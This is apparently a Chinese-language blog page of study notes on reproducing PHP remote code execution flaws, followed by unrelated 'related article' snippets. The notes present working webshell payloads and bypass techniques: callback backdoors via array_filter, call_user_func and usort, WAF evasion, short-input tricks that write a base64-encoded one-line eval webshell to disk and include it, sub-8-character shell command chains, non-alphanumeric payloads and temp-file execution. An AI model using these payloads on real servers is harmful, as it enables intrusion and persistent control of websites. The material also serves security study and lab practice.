RCE漏洞复现
PHP命令执行常用函数
回调函数必须是命令执行和代码执行的函数,有两个条件
必须是函数,而且需要有函数运行的参数
危害:可以直接删除文件,添加文件,甚至可以添加用户
system --执行外部程序,并且显示输出
exec --执行一个外部程序 输出的是数组 要echo
passthru-- 执行外部程序并且显示原始输出 类似system 直接输出
shell_exec-- 要有echo输出才行
proc_open --打开进程文件指针
popen --- 从管道执行命令
代码执行,只能执行php代码不能执行命令
eval
assert
call_user_func
call_user_func_arrayassert(eval($_post[123]));
call_user_func('assert',$_REQUEST['pass']); //加了eval 蚁剑可以连接

rce的基础 php的回调后门
array_fillter 回调函数
$e = $_REQUEST['e'];
$arr array($_POST['pass'],);
array_filter($arr, base64_decode($e));
绕过安全狗
get_meta_tags 引入参数


eval();传入的参数需要引号
EVAL长度限制突破技巧
linux下反引号是可以执行命令的

<?php
$param = $_REQUEST['param']; //全局数组,接收GET,POST,COOKIE数据
If (
strlen($param) < 17 &&
stripos($param, 'eval') === false && // 检查$param 是否含‘eval’ 不含就返回falase 和后面的false相等 就是true
stripos($param, 'assert') === false //同上
) {
eval($param); //当上面的都为真时,才执行 。
}
//虽然代码检查了 eval 和 assert 字符串,依然有可能存在其他恶意代码或利用漏洞的方式
所以可以用
`$_GET[1]` 去用命令执行 去绕过 反引号在Linux下是可以执行命令的`$_GET[1]`;&1=任何的恶意代码
最后需要用 echo 打印出来 因为eval执行不显示页面
也可用
foo.php?1=file_put_contents¶m=$_GET[1](N,P,8); //底层c语言写的8
foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
为什么这里要转成base64呢,不直接追加呢,因为file_put_contents 是追加不了特殊字符的< ?
然后用php伪协议 把这base64转成正常的一句话了,然后用文件包含直接执行了
include 视为一切文件为php执行文件
解码出来为<?php eval($POST[9])
也可以用
usort(...$_GET);
foo.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
...在php中表示为变长参数,js也是
抓包burpsuite
所有回调函数都是把接受到的参数,放在回调函数去执行

8个字符长短,更符合Linux下的环境
Linux命令长度限制突破方法
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{ echo shell_exec($param); //可以直接执行Linux命令
}

$ ls -t
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\
bas\ e64\ -\ d>\ c.p\ hp
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t>0 以时间先后顺序创建文件 0里面的内容就是base64编码 然后
sh 0
把一句话木马base64之后的编码一点点写成文件形式,以时间的形式排序,最后执行这一串编码
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t | xxd 以十六进制查看文件
php一句话木马中,一定是要以base64编码写入的
还有种思路:就是在post中生成临时文件,匹配到临时文件,然后执行临时文件的代码
. /t*/* //因为shell_exec本身就能执行Linux的命令,所以在param传参的时候不用加反引号执行了
无字母数字webshell之命令执行
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");//取反绕过正则}eval($code);
}else{highlight_file(__FILE__);
}
取反用符号~



但是这种语法只能php7
文件上传就往web.php上面去传,不管它接不接,我只要这个临时文件
难点:如果没有接,php就会把临时文件删掉。但是不知道临时文件名
先定义一个文件上传,然后上传文件,然后去/tmp下看有没有生成临时文件,然后执行文件


里面的upload 需要改一下

前提要能执行临时文件,但是匹配不到临时文件,需要解决这个问题
GET和post同步执行。临时文件有一个特别的点,就是php临时文件生成是有规律的,最后一个字母,一次是大写一次是小写。
Linux通配符 glob 通配符

可以用'?' '*' '[' '[]'


eval 首先要先闭合?>php 后面才可以写 。用@匹配最后一个字母大写

eval 只是代码执行,但并不能执行Linux代码,所以少了一个Linux执行命令的东西,那就是反引号,那加上反引号就行了吗?很明显不行,要遵循urlcode编码,不能有空格 需要把空格改成加号 把空格换成%20 也可以

其实在burpsuite下面不用编码也可以 直接传,但是从url传的话就必须转码

这三部分 需要 粘贴到抓的web.php的包中 因为这是post传参
无参数读文件和RCE总结
这个就需要函数嵌套函数去执行,时间函数去拿.
也可以用array_rand 和array_flip 拿文件
用next(getallheaders())绕过这个限制 ,但是这个函数只能apache2里面使用
相关文章:
RCE漏洞复现
PHP命令执行常用函数 回调函数必须是命令执行和代码执行的函数,有两个条件 必须是函数,而且需要有函数运行的参数 危害:可以直接删除文件,添加文件,甚至可以添加用户 system --执行外部程序,并且显示输…...
Qt QTabWidget之创建标签页的多页面切换
QTabWidget 用来分页显示 重要函数: 1.void setTabText(int, QString); //设置页面的名字. 2.void setTabToolTip(QString); //设置页面的提示信息. 3.void setTabEnabled(bool); //设置页面是否被激活. 4.void setTabPosition(QTabPosition::South); //设置页面名字的位置. 5.…...
【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出
【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出 文章目录 【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出1.简介2.验证用例3.软件代码4.链接脚本5.编译脚本6.仿真结果6.1 复位结束6.2 运行成功6.3 终端打印 7.总结 1.简介 本文将详细阐述如何利用 printf 来打印字符串…...
时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention
时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 文章目录 前言时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 一、VMD-TCN-BiLSTM-Attention模型1. **…...
Python知识点:如何使用Godot与Python进行游戏脚本编写
在Godot中使用Python进行游戏脚本编写,你需要通过一个插件来实现,因为Godot原生支持的脚本语言是GDScript、VisualScript和C#。这个插件被称为Godot-Python,它允许你在Godot引擎中使用Python编写脚本。以下是详细的步骤指导你如何配置和使用G…...
Spring MVC数据绑定和响应学习笔记
学习视频:12001 数据绑定_哔哩哔哩_bilibili 目录 1.数据绑定 简单数据绑定 默认类型数据绑定 简单数据类型绑定的概念 参数别名的设置 PathVariable注解的两个常用属性 POJO绑定 自定义类型转换器 xml方式 注解方式 数组绑定 集合绑定 复杂POJO绑定 属性为对象类…...
Vulnhub JIS-CTF靶机详解
项目地址 https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 修改靶机的网卡 开机时长按shift,进入此页面 选择root模式进入 将只读模式改为读写模式 mount -o remount,rw / 查看本机的网卡名称 …...
FPGA资源评估
FPGA资源评估 文章目录 FPGA资源评估前言一、资源评估1.1 资源有哪些1.2 资源统计 二、 FPGA 的基本结构三、 更为复杂的 FPGA 架构 前言 一、资源评估 大家在项目中一般会要遇到需要资源评估的情况,例如立了新项目,前期需要确定使用什么FPGA片子&…...
REST framework中Views API学习
REST framework提供了一个APIView类,它是Django的View类的子类。 APIView类和一般的View类有以下不同: 被传入到处理方法的请求不会是Django的HttpRequest类的实例,而是REST framework的Request类的实例。处理方法可以返回REST framework的…...
Vue(四)——总结
渐进式JavaScript框架 Vue.js是一套构建用户界面(UI)的渐进式JavaScript框架。 1、库和框架的区别? 库:库是提供给开发者的一个封装好的特定于某一方面的集合(方法和函数),库没有控制权&…...
计算机毕业设计 招生宣传管理系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试
🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…...
练习题PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
突破长度限制 使用usort上传后门 usort — 使用用户自定义的比较函数对数组中的值进行排序 paramusort(...$GET); ...为php设置可变长参数 在url地址栏中输入[]test&1[]phpinfo();&2assert 包含了phpiinfo()命令执行 结合usort使用 assert…...
EPLAN关于PLC的输入输出模块绘制
EPLAN关于PLC的输入输出模块绘制 总览图上的PLC绘制原理图上的PLC绘制编辑IO注释显示总览界面IO注释自动关联总览IO地址 总览图上的PLC绘制 右键项目【新建】 页类型选择【总览】,描述可以自由编辑,之后确认即可。 由于我们需要绘制PLC的输入输出&#x…...
【Linux】sersync 实时同步
原理 rsync 是不支持实时同步的,通常我们借助于 inotify 这个软件来实时监控文件变化,一旦inotify 监控到文件变化,则立即调用 rsync 进行同步,推送到 rsync 服务端。 环境准备 步骤1:获取数据包 获取 sersync 的包…...
Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭
Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭 一、前言二,资源包内容三、免费获取资源包 一、前言 亲爱的 Unity 开发者和爱好者们,大家好!今天要为大家分享一份超级酷炫的 Unity 资源——恐龙资源模型,而且它还…...
【AI绘画】 学习内容简介
AI绘画-学习内容简介 1. 效果展示 本次测试主要结果展示如下: 卡通手办定制1 卡通手办定制2 艺术写真定制 2. 主要目录 AI 绘画- 文生图,图生图及lora使用(基于diffusers) AI 绘画- 模型转换与快速生图(基于diffus…...
树形结构查找(B树、B+树)
平衡树结构的树高为 O(logn) ,平衡树结构包括两种平衡二叉树结构(分别为 AVL 树和 RBT)以及一种树结构(B-Tree,又称 B 树,它的度大于 2 )。AVL 树和 RBT 适合内部存储的应用,而 B 树…...
网络通信(TCP/UDP协议 三次握手四次挥手 )
三、TCP协议与UDP协议 1、TCP/IP、TCP、 UDP是什么 TCP/IP协议是一个协议簇,里面包括很多协议的, UDP只是其中的一个, 之所以命名为TCP/IP协议, 因为TCP、 IP协议是两个很重要的协议,就用他两命名了,而TCP…...
C# ADO.Net 通用按月建表插入数据
原理是获取原表表结构以及索引动态拼接建表SQL,如果月表存在则不创建,不存在则创建表结构 代码如下 /// <summary>/// 根据指定的表名和时间按月进行建表插入(如果不存在对应的月表)/// </summary>/// <param nam…...
19-ESP32-C3加大固件储存区
1默认编译情况。 2、改flash4M。ESP-IDF Partition Table Editor修改。 3、设置输入Partition Table 改自定义.CSV。保存。 4、查看命令输入Partition Table Editor打开-分区表编辑器UI。按图片增加。 nvs,data,nvs,0x9000,0x6000,, phy_init,data,phy,0xF000,0x1000,, factory…...
ollama部署embeddinggemma-300m:支持离线运行的多语言嵌入服务搭建教程
ollama部署embeddinggemma-300m:支持离线运行的多语言嵌入服务搭建教程 1. 引言:为什么选择embeddinggemma-300m 如果你正在寻找一个既小巧又强大的文本嵌入模型,embeddinggemma-300m绝对值得关注。这个由谷歌推出的开源模型只有3亿参数&am…...
BGP面试必问:路由聚合与多宿主网络实战避坑指南(附配置示例)
BGP面试必问:路由聚合与多宿主网络实战避坑指南(附配置示例) 在当今复杂的网络架构中,BGP(边界网关协议)作为互联网的"粘合剂",其重要性不言而喻。无论是准备网络工程师面试的求职者&…...
DHCP 服务器监控:从 IP 预配到实时管理的全面指南
1. 为什么需要监控DHCP服务器? 想象一下你管理着一栋大型公寓楼,每个房间都需要分配独立的水电表。DHCP服务器就像这栋楼的物业管理系统,负责给每个住户(设备)自动分配门牌号(IP地址)。但如果不…...
[技术突破]EmbeddingGemma:重新定义边缘智能领域的轻量级嵌入方案
[技术突破]EmbeddingGemma:重新定义边缘智能领域的轻量级嵌入方案 【免费下载链接】embeddinggemma-300m-GGUF 项目地址: https://ai.gitcode.com/hf_mirrors/unsloth/embeddinggemma-300m-GGUF 技术背景:嵌入式场景如何突破模型性能与资源的双重…...
交互式雷达图新玩法:用R语言的plotly让微生物组数据动起来
交互式雷达图新玩法:用R语言的plotly让微生物组数据动起来 在微生物组研究中,数据可视化是揭示复杂生态模式的关键工具。传统的静态图表往往难以充分展示多维度的时序变化,而交互式雷达图恰好能弥补这一缺陷。想象一下,在学术汇报…...
Hunyuan3D-2mini与Hunyuan3D-2对比测评:轻量化模型真的能保持90%生成质量吗?
Hunyuan3D-2mini与Hunyuan3D-2深度测评:轻量化模型的真实表现与技术内幕 当3D内容创作从专业工作室走向大众市场,硬件门槛成为阻碍技术普及的最大障碍。腾讯混元实验室最新发布的Hunyuan3D-2mini宣称能在5GB显存设备上实现标准版90%的生成质量࿰…...
yz-女生-角色扮演-造相Z-Turbo与YOLOv5结合的智能审核系统
yz-女生-角色扮演-造相Z-Turbo与YOLOv5结合的智能审核系统 1. 项目背景与需求 在内容生成技术快速发展的今天,AI图像生成模型如yz-女生-角色扮演-造相Z-Turbo能够快速生成高质量的二次元角色图像。然而,随着生成内容的增多,如何确保生成内容…...
手把手教你用万物识别中文镜像:上传图片就能识别物体标签
手把手教你用万物识别中文镜像:上传图片就能识别物体标签 1. 准备工作与环境说明 1.1 镜像概述 万物识别-中文-通用领域镜像是一个开箱即用的图像识别工具,它能自动识别图片中的物体并给出中文标签。这个镜像特别适合需要快速实现图片内容识别的开发者…...
Qwen2.5-VL-7B-Instruct开源大模型:16GB显存GPU实现企业级多模态推理
Qwen2.5-VL-7B-Instruct开源大模型:16GB显存GPU实现企业级多模态推理 想找一个既能看懂图片,又能和你流畅对话的AI助手,但被动辄几十GB的显存要求劝退?今天要介绍的Qwen2.5-VL-7B-Instruct,可能就是你在寻找的答案。 …...
Phi-3-Mini-128K入门必看:streaming=True对长文本生成体验的提升
Phi-3-Mini-128K入门必看:streamingTrue对长文本生成体验的提升 1. 工具概览 Phi-3-Mini-128K是基于微软Phi-3-mini-128k-instruct模型开发的轻量化对话工具,专为本地部署和高效推理优化。这个工具严格遵循官方推荐规范,通过多项技术创新解…...
